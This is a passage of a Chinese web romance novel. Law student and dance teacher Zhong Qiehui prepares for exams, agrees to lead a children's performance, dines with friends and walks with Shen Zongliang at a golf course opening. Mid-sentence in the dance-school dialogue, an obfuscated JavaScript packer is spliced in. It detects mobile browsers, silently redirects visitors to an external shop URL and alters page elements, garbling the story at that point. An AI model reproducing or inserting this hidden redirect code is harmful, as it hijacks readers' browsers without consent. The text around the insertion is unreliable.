且惠慢悠悠地关门,心道:他对外人还真是放心哪。 她收拾好桌子,把他的盘子洗干净,叠回托盘里,端到了楼上。 且惠输密码开门,把两个盘子码进橱柜。 出来时,看见那幅字还放在餐桌上。 她想到傍晚时的情形,暮光从窗台里照进来,将两个人靠近的影子折在墙面上,交颈同书,不知是怎样的亲昵。 哪怕身边一个人也没有,且惠还是红着脸转了转僵硬的脖子,不自觉地咳了一声。 沙发上放了个黑纸袋,她扫了一眼,见是自己的披肩,顺手拿下了楼。 她关好门,回了自己家,仍然和头天晚上一样,埋首书案到深夜。 复习到了刑法这部分,过分多的观点展示,让且惠的进度肉眼可见地慢下来,画思维导图很费时。 眼睛告诉她已经看了三遍,脑子也高调表示应该懂了,但一做题就废。 听视频课的时候,感觉哪儿哪儿都简单明了,在厚厚的讲义上这划一下,那儿也划一下。 等过一个晚上再来看,她一头雾水地怀疑自己,这怎么全部都是重点啊? 牵连犯是什么?吸收犯怎么定义?那什么又叫竞合?区别点在哪里? 且惠无奈地揉着太阳穴,只好继续死记硬背条文。 滚瓜烂熟地背完了,又开始踌躇满志,于是拿两道主观题来练练手,做完依然冒出满脑袋问号:这玩意儿她真的复习过了嘛? 大概就是这么个反复搞她心态的过程。 眼看快一点了,且惠伏在桌上打了个长哈欠,收拾好书去洗澡。 刚起身,冯幼圆的电话就到了,她说:“明天下午雷家的高尔夫球场开张,我们一起去吧?” 对比且惠,她连声音都精神抖擞。一听就是睡了整整一天,到晚上才正式出来活动。 且惠说:“可我下午要教小孩子,去不了。” 幼圆哎呀一声,“你和同事换个班是多简单的事儿!天天待在家里你也不怕闷坏了。” 旁边进来庄新华的声音,“且惠,你再顺便帮我把车开来,省得我去取了。” 想到这个累赘的物什,她才松口说好:“那你把时间地点发我。” 就怕一个犹豫,改天又不知道上哪儿去逮庄新华,否则的话,他真能把车撂在这儿十天半月。 心里总记挂着一件未了的事不说,还占地方。 她打语音给王老师,那边也还没有睡,也乐得明早歇个懒觉,一气儿答应下来。 洗完澡躺床上,且惠望着天花板放空时,忽然想到楼上的沈宗良。 他出去之后,一直到现在都没回来。至少且惠没听见响动。 她拿过手机,试着用号码加他微信,加完就放回了枕边。 只是试一试而已,且惠没觉得他那样老干部式作风的人,会时刻把手机放身上。 傍晚在他家时,她看他的手机一直丢在窗台边,不响就不去管的。 朦朦胧胧即将入睡之际,枕头底下震动了一下。 且惠拿起来看,是微信提示,弹出和沈宗良的聊天框,显示双方已是好友。 她一下子又没瞌睡了,给他发:「hello,我是钟且惠。盘子我放回了你家,我的披肩也拿走了。」 沈宗良竟然很快回复她。 S:「辛苦了,早点睡。」 且惠自动代入他那张脸,短短六个字,瞧出了公事公办的语气。 她其实是打算问,今晚他是不是不回家了。但想了想,仿佛于身份不合。 她又不是沈宗良的什么人,就大剌剌过问起这些来了。 于是,且惠删删打打,最后也只回了句:「沈总也是,晚安。」 发完就扬手丢在了床头柜上,没再睬他了。 昏幽的光线下,且惠的脸深陷在柔软的枕头里。 她想,多险啊,差一点就稀里糊涂地越界了。 好像自从家里出事,人生的试错成本变高后,且惠变得很怕行差踏错。 紧张局促的生活不允许她做任何一次错误的选择。 小到说一句话,大到做一个决定,且惠总要思之再三。 这个令她凡事迟缓不决的过程,却荒诞地被其他人称之为沉静。 她撅着唇,小声地对自己说,是你自作主张先提两壶酒上楼,沈宗良怕授人以柄,才请你吃了餐螃蟹,左不过再顺手教你写了两个字,别自作多情了。 托了刑法的福,头昏脑涨的且惠很快就睡了过去。 隔天早晨,随便吃了两片吐司后,她开车去了培训机构。 且惠停车时,不少家长也送孩子过来,看她把卡宴停在车位上,都挺惊讶的。 有一位妈妈说:“这是钟老师的车?没看她开过啊。” “可能是朋友的,她要有这么富裕,还会出来兼职吗?” “那不一定。我看她气质老好,谈吐不像普通人家的姑娘,也许是大小姐体验生活。” 小月牙拉了拉她妈妈,“我们快点进去吧,要迟到了。” “好好好,进去。” 且惠上完课,还没来得及换下舞鞋,就被叫到了办公室。 她不知道发生什么事,进去时礼貌地敲门,“郑老师,您找我呀。” 郑晓娟让她坐,“是这样啊且惠,马上就是十一了,国庆晚会上有个少儿组的节目空缺,台里已经明确了要舞蹈演出,我呢,把这个名额拿下来了。” 且惠擦汗的纸巾还覆在额头上。 她意识到接下来会非常忙,面色僵了僵,“是要我带队去表演节目吗?” 说实话,她不想接这个差事,会耽误太多的时间。 在工资不变的情况下,手头上的事越少越好。 这应该是每个打工人最朴素的愿望。 郑晓娟看出小姑娘那点心思,了然地笑了笑。 她拿笔指了指且惠,“别站着了,来,坐下说。” 且惠把手上的纸巾揉成团,扔进了垃圾桶内。 她先亮出自己的缺陷,“郑老师,在舞台表演这一块,我没什么经验的,搞砸了就不好了。” 郑晓娟咦了一句,明知故问的口气,“真的没有经验吗?那当年你是怎么拿到少儿组冠军的呢?你家里花钱买的?” “那当然不是。”且惠低下头,仍有汗珠汇流在下巴上,“也许我老师编的那支舞好。” 郑晓娟顺着她的话说:“舞我已经编好了,也从各个班上抽了几个尖子生,你只要负责教会她们就行。” “可是......” 且惠还没可是完,郑老师就提出来,“这个月发你三倍工资,就当辛苦费。” 这确实是她拒绝不了的条件。 临出门前,且惠还是忍不住问,“机构里好老师这么多,为什么一定得是我呢?” 郑晓娟也无奈,“还不是钟老师得人心,选出来的女孩子们投了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074192|149430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 票,她们都非常喜欢你。” 真是没有白教她们。且惠心里莫名一暖,微笑着关上了门。 她去淋浴间洗澡,换上黑色紧身POLO线衫和网球短裙,戴了顶帽子。 且惠拿上小背包,边往外走,边检查手机里的未读消息。 班级群发了个通知,要求入党积极分子填表格,她顺手点开,把个人信息录入进去。 剩下的,就是幼圆发了餐厅定位过来,叫她下了课后直接过去吃饭。 且惠上了车,把小背包扔在副驾位上,按照导航找过去。 地方在工体北路,机电大院里的一家素食餐厅,刚摘下米其林一星。 她停好车,问了服务员才找到包间,幼圆他们几个都在。 且惠一一打过招呼,坐到了幼圆身边,把车钥匙给庄新华,“庄庄,拿着。” 庄新华收在掌心里,双手合拢朝她拜了下,“您受累了。” 魏晋丰笑,小声说:“这怎么跟对你太奶似的。” 庄新华回头就削了他一下,“有这么年轻漂亮的太奶吗?” “还说你对人家没意思!”魏晋丰喝了口茶,说:“这会儿又承认她漂亮了。” 像生怕且惠听见,庄新华急忙皱眉制止他,“少说屁话,我们是纯洁的革命友谊。” 魏晋丰端了杯茶睇着他,“怎么,你们一起革过谁的命吗?” 庄新华大言不惭,“革自由的命,革爱情的命。” “......你别让晓乐知道就行,她小心眼儿,闹起来又鸡飞狗跳的。” 头盘是百合泥,盛在罗汉果壳里端上来,带着药材本身的甜香。 沈棠因是这个时候到的,她一个人,没有带她的尾巴杨雨濛。 魏晋丰眼睛都亮了,赶紧让座,“棠儿,你怎么现在才到啊?” 一句棠儿,从这个京油子嘴里说出来,全没了武侠里的浪漫氛围。 但沈棠因还是笑了,“路上堵车,不好意思来晚了。” 她冲幼圆笑,也和且惠打招呼,“又见面了。” 且惠淡淡点头,扯了一下唇角:“是呀,最近很有缘。” 这个又字让冯幼圆生出浓厚的兴趣。 她凑过去问:“你什么时候和她见过?” 且惠拿勺子挖着牛肝菌冰淇淋。 她吃了一口说:“昨天傍晚,在她小叔那里。” 身边人瞪大眼睛,“你跑到沈宗良家里去了?” “那不然怎么把披肩要回来?” 幼圆顿时浮想联翩,“只是拿披肩,就没点别的事儿?” “有吧,都是些正常的事。”且惠低垂着眼睫弄吃的,说:“我们一起吃了顿螃蟹。” “不是吧!” 幼圆忽然捂住口,险些失声喊出来。 她压低了声音,“我天,这还叫正常啊?” 且惠反问:“都到那个点了,邻居坐下来吃顿饭,不正常?” 难道沈宗良是什么很不近人情的异类吗? 所以他在外面的风评差到了这个地步? 比她之前对他本人的误解还深是吧? 幼圆和她对视,反手后指了一下庄新华,“他小时候也住家属院里,也和沈总当过邻居。你问问,他和沈宗良吃过几次饭?” 一直仔细听着的庄新华笃定地摆手,“一次都没有!沈总那身份和级别,和我们就不是一桌的。” 幼圆扬了扬眉,“听见没有,我说什么来着?” 且惠投降,用只有他们三个能听见的声音,“喂,咱们能别老在这儿讨论他吗?” 她真怕沈棠因读懂唇形。 然后告诉她小叔叔,你楼下的钟且惠正和她的亲友团疯狂议论你,好像对你别有居心。 这种误会一点都不美好好嘛。 庄新华把一碗小馄饨端给且惠,“尝尝这个,皮儿是油菜叶做的。” 且惠舀起一个吃了,里面的馅是姬松茸,尝起来鲜美又清新,令人回味起春天。 这家店噱头很足,因为知道包厢里客人们的身份,主厨卯足了劲儿施展浑身解数,但用力过猛了。 是以,在一系列巧立名目的花头菜里,反而是这道朴实的馄饨最好吃。 12. chapter 12 雷家新开的球场在郊区,据说是京郊最好的一块草坪,需要会员邀请才能进入,会籍费一百多万,每年另收两万的管理费。 今天试营业,来的都是与雷家相熟的客人,不需要线上预定。 他们提前半小时抵达,低矮的复古白石墙外一组烫金英文,刻的是球场的名字。 魏晋丰问:“谦明儿下午总起得来吧?” “谁知道呢!雷谦明昨天胡闹到两点。”庄新华把轮胎打直,解了安全带,“反正有他姐坐镇,要他有什么用!” 服务生引他们进去,球童说可以先到旁边练习切杆推杆,并告知了今日的风速以及果岭速度。 且惠打高尔夫不来事的,她不怎么会,只练过一些最基本的动作,生疏得很。 人陆陆续续到了,却迟迟不见谁开局,都在看庄新华。 他戴着白手套,拿的是球童给他选的七号铁,教练站在一旁纠正他的姿势。 且惠站在人群外围,她问幼圆,“他什么时候练过高尔夫呀?” “我反正从来没看他打过,”幼圆哼了一声,接过服务生递来的果汁,“这把是奔着出洋相去的。” “......” 教练往上抬高他的胳膊,一步一步慢慢地指导他,“引杆立腕,中心保持稳定,杆身不要超过平行线,好,现在脚向下蹬地,围绕左侧膝关节旋转,来,挥杆击球。” 庄新华一米八五的身高,再配上肩宽腰窄的比例,动作无疑是好看的。 只不过,他自信满满挥杆的瞬间,小白球纹丝未动,地皮倒是被铲掉一大块。 那一瞬间飞扬起的草皮土屑,让他身边没来得及躲的人,都条件反射地背过身体去。 魏晋丰站得离当事人最近。 他吐了吐嘴里的沫子,“Tui!我说庄公子,就您这技术放在我们老家,一天下来高低能锄个三亩地。” 随后就是一阵尖锐又持久的笑声。 幼圆最夸张,一口果汁喷在了魏晋丰背上,笑得前仰后合。 就连且惠都背过身去,肩膀头子一抽一抽的,实在难忍。 庄新华自个儿也呸了两下,“小时候我舅总要带我来打球,我老大不乐意。他要说这玩意儿能装逼,我他妈不早就学会了吗!” 强打着精神来自己球场招呼客人的雷谦明打了个哈。 他靠在且惠身边,手搭在她的肩上,指着前边说:“咱们庄儿啊,这一波也是向上流运动逼近了,但就是有一种......” 球场上阳光刺眼,且惠穿着紧身球服,蜂腰细腿。 她抱着臂,眯了眯眼睛,“有一种拆迁款刚到账,还没完全适应的感觉。” 雷谦明笑得直拍大腿,后面也传来噗嗤一声。 且惠回头,见是沈棠因举了杯番石榴汁站着,朝她微笑了下。 沈棠因也点头致意,她说:“我以前都不知道,你还这么会说嘴。” 且惠有些羞赧地解释,“对别人自然是不会,庄新华太熟了嘛,我们经常互开玩笑。” “棠儿,那是你不了解且惠。”雷谦明在一边帮腔道,“小时候她住在我家隔壁,我最清楚了,她一直就是温柔又活泼的。” 沈棠因历来不与人争的。 她应和说:“是,将来要当律师的人嘛,口条好、能说会道是基本的。” 且惠把头转向远处,入眼是延绵不尽的春山,风也轻轻柔柔。她心中汹涌着从不外露的情绪。 人人称道的温柔底色里,她或许曾有过更亮眼的活泼,但日复一日的压抑与沉重中,那些个性自发地躲进盒子里,偶尔才肯出来透透气。 在风尘仆仆赶路的途中,活泼是最无用武之地的。 沈棠因面露愧色,为自己也落入了这样世俗的眼孔里,认为钟且惠没什么值得来往的必要。 但实际上的情况却是,虽然且惠落魄了,但仍是个风趣可爱的姑娘。 人与人之间的交往,不一定非得为名为利,也可以为点别的什么。 “都没人打球吗?谦明也不上啊!” 一道磁性的男声从斜后方搅进来。 众人转过头,见唐纳言笑着走过来了,旁边是一身休闲的沈宗良。 且惠的目光与他短暂相接,沈宗良绅士地点了个头,她也礼貌笑了下。 不知道他昨晚忙到几点,但是看起来仍神清气爽,或许是习惯了藏好疲态。 他们身后,还跟着杨雨濛和庄齐,应该是一起到的。 她们一来就拉走了沈棠因,坐在蓝白相间的遮阳伞下,三个人讲小话。 雷谦明松开且惠,抱歉地说:“我去陪一下棠因她小叔叔。” 今天他是主角,这是理所应当的事。且惠笑着点头:“嗯,快去吧。” 雷谦明走后,她就站在那儿,幼圆冲她喊了句:“你自己喝点东西呀,我练会儿球。” 知道她不爱这些,刚才就请过了,就也不再勉强且惠。 且惠也点头,说:“好,不用管我。” 就这么枯坐了半个小时,仿佛置身一场与己无关的集会,身边都是热闹的谈笑,且惠却挤不进任何一小段里。 好在她是惯于自处的。耳机一戴,手肘撑在桌面上,将下巴一托,盲听起了雅思。 她托腮望着远处树林,也不做题,只是漫无目的地去听,纯粹为了培养语感。 没多久,视线被一身白衫遮住,且惠抬头,对上两道墨黑的浓眉。 她摘下耳机,仰着脖子叫了一句:“沈总。” 沈宗良径自坐在她对面,他摘下手套扔在了桌上,“怎么不去玩会儿?” 且惠笑笑,“还是不了,我没什么运动细胞,坐着看看风景蛮好。” “到处都乱糟糟的,能有什么风景?”沈宗良环视一圈,指了指远处说:“你真想看,不如到那边去走走。” 她一个人坐久了也腰痛,反正幼圆还这么快回去。且惠点头,“好啊。” 随后,她把蓝牙耳机放进电池仓,扭过身子塞回了小背包里。 刚才架着腿坐久了腿麻,又怕沈宗良等得太久,起身时有点赶,且惠没防备地绊了一跤。 还是沈宗良扶住她,说了句小心。 且惠纤白的手腕握在他的掌心,热度一簇簇地浸染到她皮肤上,温泉一样淌过去。 她站直了,急急忙忙挣脱开,红着脸小声道谢。 沈宗良仍旧淡淡的,他说:“走吧。” 他们走了很远,远到纷扰的人群变成七零八落的小黑点,渐渐看不见了。 且惠站在一株榕树下,举目眺去,眼前是起伏绵延的绿意,深深浅浅地纵横,偌大的草坪宛如一张被精心养护的地毯,远处错落着与云彩相接的高大树冠。 她在风里眯了眯眼,说:“这里和那边是不同了,真好看。” 湖边旁出的树枝垂落到地面,被花匠修剪成能坐人的形状。 沈宗良掸了掸上头的枯屑,坐了上去。 他笑,拿出一支烟夹在指间,“难道我还会骗你不成?” “哪里,小叔叔怎么会骗我们小孩子。” 且惠定了定神,大起胆子坐到他旁边,扭过头望进他的眼底。 沈宗良有一双优柔的眼睛,像倒映着雾霭的晨露,和他冷淡的面容相去甚远。 见他不说话,且惠匆忙撤回目光,晃了晃脚尖,“对不起,我刚才叫快了。” “无妨。”沈宗良扬了扬手里的烟,说:“随你高兴。” 他语气很温和,眉间却压着隐约的疲倦和烦躁。 且惠又想起昨晚未竟的担心。她问:“你昨天很晚回来?” “没回。”沈宗良的手搭在膝盖上,说:“写材料到三点,在办公室将就了一夜。” 她咦了一声,“材料不都是秘书写的吗?怎么还要你亲自动笔啊。” 沈宗良慢条斯理地说:“是份急件,上面催得很紧,与其秘书写完我再去改,不如自己写。白耽误时间不说,还多一个人辛苦。再者,不管谁来写,都不是我那个意思。” 其实他只要说一句,我习惯了亲力亲为,就可以带过这个话题。 可他看着且惠,解释地非常详细,甚至用上了再者。 沈宗良本来话少,昨晚工作了一夜,还要来应酬雷家的球场开业,拢共没睡到四小时,实在是累极了。 但面对小姑娘稚气的问询,总是不忍心三两句打发她。 可见谈话这么琐碎的事,也是需要讲一点机缘的,很玄妙。 且惠说:“沈总这么地体恤下属,是一位好领导。” 沈宗良勾了下唇,声音寡淡,“这下你又知道了?” 霍霍的风从身后吹来,长马尾扫在且惠脸上,她手忙脚 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而钟且惠呢,尽管无人问津地独处,脸上仍然恬淡自得,唇角甚至抿着一弯笑。 那副清微淡远的模样,仿佛是在说,你们自去交际你们的,她犯不着凑兴。 沈宗良看向她,眼神洞悉了一切,“可你戴着耳机,也没有理人的意思。” 且惠自顾自地低头,她细声,“你别笑话,这是我最后一点自尊。” 她已经在尽量少地参加这些聚会了。 钟且惠仰头望天,九月末的阳光从树叶间筛下来,斑驳一片。 “没事,”身边沉默的人忽然出声,“这不算什么。” 她没明白,“什么不算什么?” 沈宗良一副世事看淡的口吻,说:“等再过几年你就会发现,比这难堪的事还有很多。” 这话从他的嘴里说出来,再配上一贯低沉的嗓音,有种平静的疯感。 且惠几乎要气笑了,嗬的一声,“还以为您会安慰我。” 沈宗良掀起眼皮看她,“在你听说过的我的事里,就没人告诉你,我从来不会安慰人的吗?” 她看着他的眼睛,很真诚地摇了个头,“没有啊,幼圆没说。” 沈宗良拖着腔“哦”了一声,“原来是冯家丫头在编排我呢?” 且惠腾地一下站起来,转了个身,揪着辫子瞪了他一眼。 她有点生气,“你、你怎么故意套我的话呀?” 沈宗良无辜地摊了一下手,“难道,不是你自己出卖了发小吗?” 且惠结巴了一阵,自知理亏,亏在背后议论人,还嘴快。 她真怕沈宗良会怪冯幼圆多事,想了想,还是服软地往他那边挪了两步。 沈宗良也不看她,仍安安稳稳地坐着,视线落在远处的草地上。 她高高在上站人面前,根本不是道歉的样子。 且惠想了想,并拢裙子蹲了下去,她说:“沈总?” 仿佛无事般,沈宗良心无旁骛地扫她一眼,“什么事?” 她很礼貌地征求他意见,“刚才的话,你能不能当作没听到,不要去责骂幼圆好么?” 但好像礼貌过头了,且惠笑得有点脸僵。 她还怕沈宗良不同意,一只手不自觉覆在他膝盖上,看过来的眼神也格外明亮。 缓和下来的微风里,沈宗良的眼皮忽然跳了下,弥补了那一瞬心跳的空白。 那是种什么感觉? 后来的某一个午夜,他只身站在空荡荡的露台上,身边一个人也没有。 到那时,沈宗良才半梦半醒地悟出来。 大概就像是一座长年封闭的山谷,忽然被撬出了一道裂缝,四面八方的风无休止地刮进来,再也没有宁日。 “别傻了。”沈宗良静了很久,才开口说:“我没那么爱动气。” 且惠放心地笑了又笑,奉承他说:“那是那是,您大人有大量,宰相肚里能撑船......” 他不耐烦地打断,“行了俗语辞典,回去吧。” “哦。” 且惠跟在后面,懊悔地拍了拍自己脑门。 她一高兴又忘了,沈宗良不喜欢人家溜须拍马的。